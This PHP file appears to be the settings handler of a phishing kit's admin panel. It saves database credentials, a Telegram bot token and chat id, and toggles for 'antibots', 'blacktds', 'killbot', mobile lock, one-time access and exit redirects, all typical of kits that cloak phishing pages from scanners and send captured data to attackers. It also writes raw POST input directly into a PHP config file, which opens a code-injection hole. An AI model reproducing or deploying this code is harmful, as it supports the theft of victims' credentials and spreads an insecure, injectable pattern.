<?php
include 'inc/config.php';
include 'inc/connect.php';
date_default_timezone_set('Europe/Dublin');
session_start();

if (!isset($_SESSION['loggedin'])) {
	die();
}

if($handlers_access != "checked"){
    if ($_SESSION['role'] != "Admin") {
      die();
    }
}


$str = file_get_contents('inc/config.php');

$dbhost = $_POST['dbhost'];
$dbname = $_POST['dbname'];
$dbuser = $_POST['dbuser'];
$dbpass = $_POST['dbpass'];
$adminuser = $_POST['adminuser'];
$adminpass = $_POST['adminpass'];
$extlink = $_POST['extlink'];
$chatid = $_POST['chatid'];
$bottoken = $_POST['bottoken'];


$phonenum = $_POST['phonenum'];

$address = $_POST['address'];
$onetime = $_POST['onetime'];
$moblock = $_POST['moblock'];
$gateway = $_POST['gateway'];
$antibots = $_POST['antibots'];
$blacktds = $_POST['blacktds'];
$robots = $_POST['robots'];
$killbot = $_POST['killbot'];
$notify = $_POST['notify'];
$sitekey = $_POST['sitekey'];
$sitekeyword = $_POST['sitekeyword'];
$captchaenabled = $_POST['captchaenabled'];
$captchakey = $_POST['captchakey'];
$hsettings = $_POST['hsettings'];
$thestaticredirect = $_POST['thestaticredirect'];

if($address == "on"){
    $address = "checked";
}

if($onetime == "on"){
    $onetime = "checked";
}

if($moblock == "on"){
    $moblock = "checked";
}

if($gateway == "on"){
    $gateway = "checked";
}

if($antibots == "on"){
    $antibots = "checked";
}

if($blacktds == "on"){
    $blacktds = "checked";
}

if($thestaticredirect == "on"){
    $thestaticredirect = "checked";
}

if($robots == "on"){
    $robots = "checked";
}

if($killbot == "on"){
    $killbot = "checked";
}

if($captchaenabled == "on"){
    $captchaenabled = "checked";
}

if($notify == "on"){
    $notify = "checked";
}

if($sitekey == "on"){
    $sitekey = "checked";
}

if($capatchaenabled == "on"){
    $capatchaenabled = "checked";
}

if($hsettings == "on"){
    $hsettings = "checked";
}


$str = str_replace("servername = '$servername'", "servername = '$dbhost'", $str);
$str = str_replace("database = '$database'", "database = '$dbname'", $str);
$str = str_replace("username = '$username'", "username = '$dbuser'", $str);
$str = str_replace("password = '$password'", "password = '$dbpass'", $str);
$str = str_replace("admin_panel_username = '$admin_panel_username'", "admin_panel_username = '$adminuser'", $str);
$str = str_replace("admin_panel_password = '$admin_panel_password'", "admin_panel_password = '$adminpass'", $str);
$str = str_replace("exit_url = '$exit_url'", "exit_url = '$extlink'", $str);
$str = str_replace("telegram_chaid = '$telegram_chaid'", "telegram_chaid = '$chatid'", $str);

$str = str_replace("bot_token = '$bot_token'", "bot_token = '$bottoken'", $str);

$str = str_replace("phone = '$phone'", "phone = '$phonenum'", $str);

$str = str_replace("static_redirect = '$static_redirect'", "static_redirect = '$thestaticredirect'", $str);
$str = str_replace("enable_address = '$enable_address'", "enable_address = '$address'", $str);
$str = str_replace("enable_onetime = '$enable_onetime'", "enable_onetime = '$onetime'", $str);
$str = str_replace("mobile_lock = '$mobile_lock'", "mobile_lock = '$moblock'", $str);
$str = str_replace("enable_gateway = '$enable_gateway'", "enable_gateway = '$gateway'", $str);
$str = str_replace("enable_antibots = '$enable_antibots'", "enable_antibots = '$antibots'", $str);
$str = str_replace("enable_blacktds = '$enable_blacktds'", "enable_blacktds = '$blacktds'", $str);

$str = str_replace("enable_robots = '$enable_robots'", "enable_robots = '$robots'", $str);
$str = str_replace("enable_killbot = '$enable_killbot'", "enable_killbot = '$killbot'", $str);
$str = str_replace("enable_captcha = '$enable_captcha'", "enable_captcha = '$captcha'", $str);
$str = str_replace("enable_telegram = '$enable_telegram'", "enable_telegram = '$notify'", $str);

$str = str_replace("sitekey_enabled = '$sitekey_enabled'", "sitekey_enabled = '$sitekey'", $str);
$str = str_replace("sitekey_word = '$sitekey_word'", "sitekey_word = '$sitekeyword'", $str);

$str = str_replace("captcha_enabled = '$captcha_enabled'", "captcha_enabled = '$captchaenabled'", $str);
$str = str_replace("captcha_key = '$captcha_key'", "captcha_key = '$captchakey'", $str);


$str = str_replace("handlers_access = '$handlers_access'", "handlers_access = '$hsettings'", $str);

file_put_contents('inc/config.php', $str);


$_SESSION['update_settings'] = 'success';
header('Location: settings.php');
exit;
?>